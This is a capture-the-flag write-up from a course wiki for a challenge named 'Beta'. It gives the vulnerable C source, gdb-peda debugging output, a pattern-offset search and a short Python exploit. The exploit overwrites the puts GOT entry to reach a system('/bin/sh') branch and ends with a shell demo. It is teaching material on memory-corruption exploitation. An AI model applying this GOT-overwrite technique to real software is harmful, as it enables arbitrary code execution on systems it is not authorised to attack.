User Tools

Site Tools


Sidebar

session:solution:ctf-final-beta

Final CTF: Beta task writeup

#include <stdio.h>
#include <fcntl.h>
 
void cadet_login()
{
	char buf[100];
	dprintf(2, "Hello cadet! Tell us your name\n");
	fgets(buf, 100, stdin);
 
}
 
 
void task() {
	unsigned long pass;
	unsigned long user;
	setbuf(stdout, NULL);
	int fd = open("/dev/urandom", O_RDONLY);
	if (fd==-1)
		exit(-1);
 
	if (read(fd, &pass, 4) != 4)
		exit(-1);
	close(fd);
 
	scanf("%lu", user);
 
	if (user == pass) {
		printf("Congratulations. You deserve a shell\n");
		system("/bin/sh");
	} else {
		printf("Keep Trying!\n");
		exit(0);
	}
 
}
 
 
int main(){
	cadet_login();
	task();
	return 0;
}

The vulnerability here is the following line:

	scanf("%lu", user);

The second argument for scanf should be an address and instead it is an unsigned integer. If we could control the value of user before this scanf then we would have an arbitrary write (which always turns out to be useful somehow). How do we control it?

Since it's a stack variable think about what happens:

  • a stack frame is allocated for main which first calls cadet login
  • cadet login allocates another stack frame and reads (at most) 100 bytes.
  • cadet login releases that stack frame and returns into main
  • main calls task which allocates another stack frame (recycling the space used by cadet login)

This means that the user variable should take up a value from our name input in cadet login. We'll use a cyclic pattern to pinpoint the exact location:

gdb-peda$ pdis task
Dump of assembler code for function task:
   0x080486c7 <+0>:	push   ebp
   0x080486c8 <+1>:	mov    ebp,esp
   0x080486ca <+3>:	sub    esp,0x28
   0x080486cd <+6>:	mov    eax,ds:0x804a080
   0x080486d2 <+11>:	mov    DWORD PTR [esp+0x4],0x0
   0x080486da <+19>:	mov    DWORD PTR [esp],eax
   0x080486dd <+22>:	call   0x80484d0 <setbuf@plt>
   0x080486e2 <+27>:	mov    DWORD PTR [esp+0x4],0x0
   0x080486ea <+35>:	mov    DWORD PTR [esp],0x8048860
   0x080486f1 <+42>:	call   0x8048550 <open@plt>
   0x080486f6 <+47>:	mov    DWORD PTR [ebp-0xc],eax
   0x080486f9 <+50>:	cmp    DWORD PTR [ebp-0xc],0xffffffff
   0x080486fd <+54>:	jne    0x804870b <task+68>
   0x080486ff <+56>:	mov    DWORD PTR [esp],0xffffffff
   0x08048706 <+63>:	call   0x8048540 <exit@plt>
   0x0804870b <+68>:	mov    DWORD PTR [esp+0x8],0x4
   0x08048713 <+76>:	lea    eax,[ebp-0x14]
   0x08048716 <+79>:	mov    DWORD PTR [esp+0x4],eax
   0x0804871a <+83>:	mov    eax,DWORD PTR [ebp-0xc]
   0x0804871d <+86>:	mov    DWORD PTR [esp],eax
   0x08048720 <+89>:	call   0x80484e0 <read@plt>
   0x08048725 <+94>:	cmp    eax,0x4
   0x08048728 <+97>:	je     0x8048736 <task+111>
   0x0804872a <+99>:	mov    DWORD PTR [esp],0xffffffff
   0x08048731 <+106>:	call   0x8048540 <exit@plt>
   0x08048736 <+111>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048739 <+114>:	mov    DWORD PTR [esp],eax
   0x0804873c <+117>:	call   0x8048580 <close@plt>
   0x08048741 <+122>:	mov    eax,DWORD PTR [ebp-0x10]
   0x08048744 <+125>:	mov    DWORD PTR [esp+0x4],eax
   0x08048748 <+129>:	mov    DWORD PTR [esp],0x804886d
   0x0804874f <+136>:	call   0x8048570 <__isoc99_scanf@plt>
   0x08048754 <+141>:	mov    eax,DWORD PTR [ebp-0x14]
   0x08048757 <+144>:	cmp    DWORD PTR [ebp-0x10],eax
   0x0804875a <+147>:	jne    0x8048776 <task+175>
   0x0804875c <+149>:	mov    DWORD PTR [esp],0x8048874
   0x08048763 <+156>:	call   0x8048510 <puts@plt>
   0x08048768 <+161>:	mov    DWORD PTR [esp],0x8048899
   0x0804876f <+168>:	call   0x8048520 <system@plt>
   0x08048774 <+173>:	jmp    0x804878e <task+199>
   0x08048776 <+175>:	mov    DWORD PTR [esp],0x80488a1
   0x0804877d <+182>:	call   0x8048510 <puts@plt>
   0x08048782 <+187>:	mov    DWORD PTR [esp],0x0
   0x08048789 <+194>:	call   0x8048540 <exit@plt>
   0x0804878e <+199>:	leave  
   0x0804878f <+200>:	ret    
End of assembler dump.
gdb-peda$ b *0x0804874f
Breakpoint 1 at 0x804874f
gdb-peda$ pattc 99 
'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAA'
 
 
 
 
gdb-peda$ run
 
Hello cadet! Tell us your name
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAA
[----------------------------------registers-----------------------------------]
EAX: 0x41416b41 ('AkAA')
EBX: 0xf7f8d000 --> 0x195da8 
ECX: 0xffffcbf4 --> 0x75933312 
EDX: 0xf7f8d000 --> 0x195da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcc08 --> 0xffffcc18 --> 0x0 
ESP: 0xffffcbe0 --> 0x804886d --> 0x756c25 ('%lu')
EIP: 0x804874f (<task+136>:	call   0x8048570 <__isoc99_scanf@plt>)
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048736 <task+111>:	mov    eax,DWORD PTR [ebp-0xc]
   0x8048739 <task+114>:	mov    DWORD PTR [esp],eax
   0x804873c <task+117>:	call   0x8048580 <close@plt>
   0x8048741 <task+122>:	mov    eax,DWORD PTR [ebp-0x10]
   0x8048744 <task+125>:	mov    DWORD PTR [esp+0x4],eax
   0x8048748 <task+129>:	mov    DWORD PTR [esp],0x804886d
=> 0x804874f <task+136>:	call   0x8048570 <__isoc99_scanf@plt>
   0x8048754 <task+141>:	mov    eax,DWORD PTR [ebp-0x14]
   0x8048757 <task+144>:	cmp    DWORD PTR [ebp-0x10],eax
   0x804875a <task+147>:	jne    0x8048776 <task+175>
   0x804875c <task+149>:	mov    DWORD PTR [esp],0x8048874
   0x8048763 <task+156>:	call   0x8048510 <puts@plt>
   0x8048768 <task+161>:	mov    DWORD PTR [esp],0x8048899
   0x804876f <task+168>:	call   0x8048520 <system@plt>
Guessed arguments:
arg[0]: 0x804886d --> 0x756c25 ('%lu')
arg[1]: 0x41416b41 ('AkAA')
[------------------------------------stack-------------------------------------]
0000| 0xffffcbe0 --> 0x804886d --> 0x756c25 ('%lu')
0004| 0xffffcbe4 ("AkAA\004")
0008| 0xffffcbe8 --> 0x4 
0012| 0xffffcbec ("AJAAjAA9\022\063\223uAkAA\003")
0016| 0xffffcbf0 ("jAA9\022\063\223uAkAA\003")
0020| 0xffffcbf4 --> 0x75933312 
0024| 0xffffcbf8 ("AkAA\003")
0028| 0xffffcbfc --> 0x3 
0032| 0xffffcc00 --> 0xf7f8d3c4 --> 0xf7f8e1e0 --> 0x0 
0036| 0xffffcc04 --> 0xf7ffcfcc --> 0x20f0c 
0040| 0xffffcc08 --> 0xffffcc18 --> 0x0 
0044| 0xffffcc0c --> 0x80487a0 (<main+16>:	mov    eax,0x0)
0048| 0xffffcc10 --> 0x80487b0 (<__libc_csu_init>:	push   ebp)
0052| 0xffffcc14 --> 0x0 
 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
 
Breakpoint 1, 0x0804874f in task ()
gdb-peda$ patto AkAA
AkAA found at offset: 92

Ok, theory confirmed. We have an arbitrary absolute write (write anything anywhere).

Now let's get back to what we actually want to do: capture the flag! We could do this by hijacking code flow to the system branch of the comparison:

  • we can't overwrite the return address because if we get the answer wrong the code calls exit(0)
  • in theory it would be possible to overwrite the contents of the pass variable to have the same contents as user however remember that we have an absolute write instead of a relative one. This means that we would need to know the stack address (which we don't because of ASLR).
  • what we do know however is that the binary is not Position Independent: it's always loaded at 0x08048000. Furthermore, library functions are resolved lazily:
gdb-peda$ checksec beta
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

This means that the GOT entries must remain writable throughout the lifetime of the binary. In that case, we only need to check what library functions are called after our absolute write:

	scanf("%lu", user);
 
	if (user == pass) {
		printf("Congratulations. You deserve a shell\n");
		system("/bin/sh");
	} else {
		printf("Keep Trying!\n");
		exit(0);
	}

printf and exit seem like good candidates. Let's try printf (which gets compiled to the puts function instead).

gdb-peda$ pdis 0x08048510
Dump of assembler code from 0x8048510 to 0x8048530:
   0x08048510 <puts@plt+0>:	jmp    DWORD PTR ds:0x804a01c
   0x08048516 <puts@plt+6>:	push   0x20
   0x0804851b <puts@plt+11>:	jmp    0x80484c0
End of assembler dump.
gdb-peda$ xinfo 0x804a01c
0x804a01c --> 0x8048516 (<puts@plt+6>:	push   0x20)
Virtual memory mapping:
Start : 0x0804a000
End   : 0x0804b000
Offset: 0x1c
Perm  : rw-p

As expected, the GOT entry is writable. In it we want to write the address of the true branch:

   0x08048757 <+144>:	cmp    DWORD PTR [ebp-0x10],eax
   0x0804875a <+147>:	jne    0x8048776 <task+175>
 
   0x0804875c <+149>:	mov    DWORD PTR [esp],0x8048874
   0x08048763 <+156>:	call   0x8048510 <puts@plt>
   0x08048768 <+161>:	mov    DWORD PTR [esp],0x8048899
   0x0804876f <+168>:	call   0x8048520 <system@plt>

The final exploit is as follows:

import struct, sys
 
puts_got = 0x804a01c
target = 0x08048768
offset = 92
payload = "A" * offset
payload += struct.pack("<I", puts_got) + "\n"
payload += str(target) + "\n"
 
 
sys.stdout.write(payload)

An alternative solution (as mentioned in the hint) is to overwrite the exit GOT entry. They both work:

root@dmns:x86_64 [beta] # cat <(python solution.py) - | ./beta
Hello cadet! Tell us your name
ls
beta  beta.c  peda-session-beta.txt  solution.py
session/solution/ctf-final-beta.txt ยท Last modified: 2020/07/19 12:49 (external edit)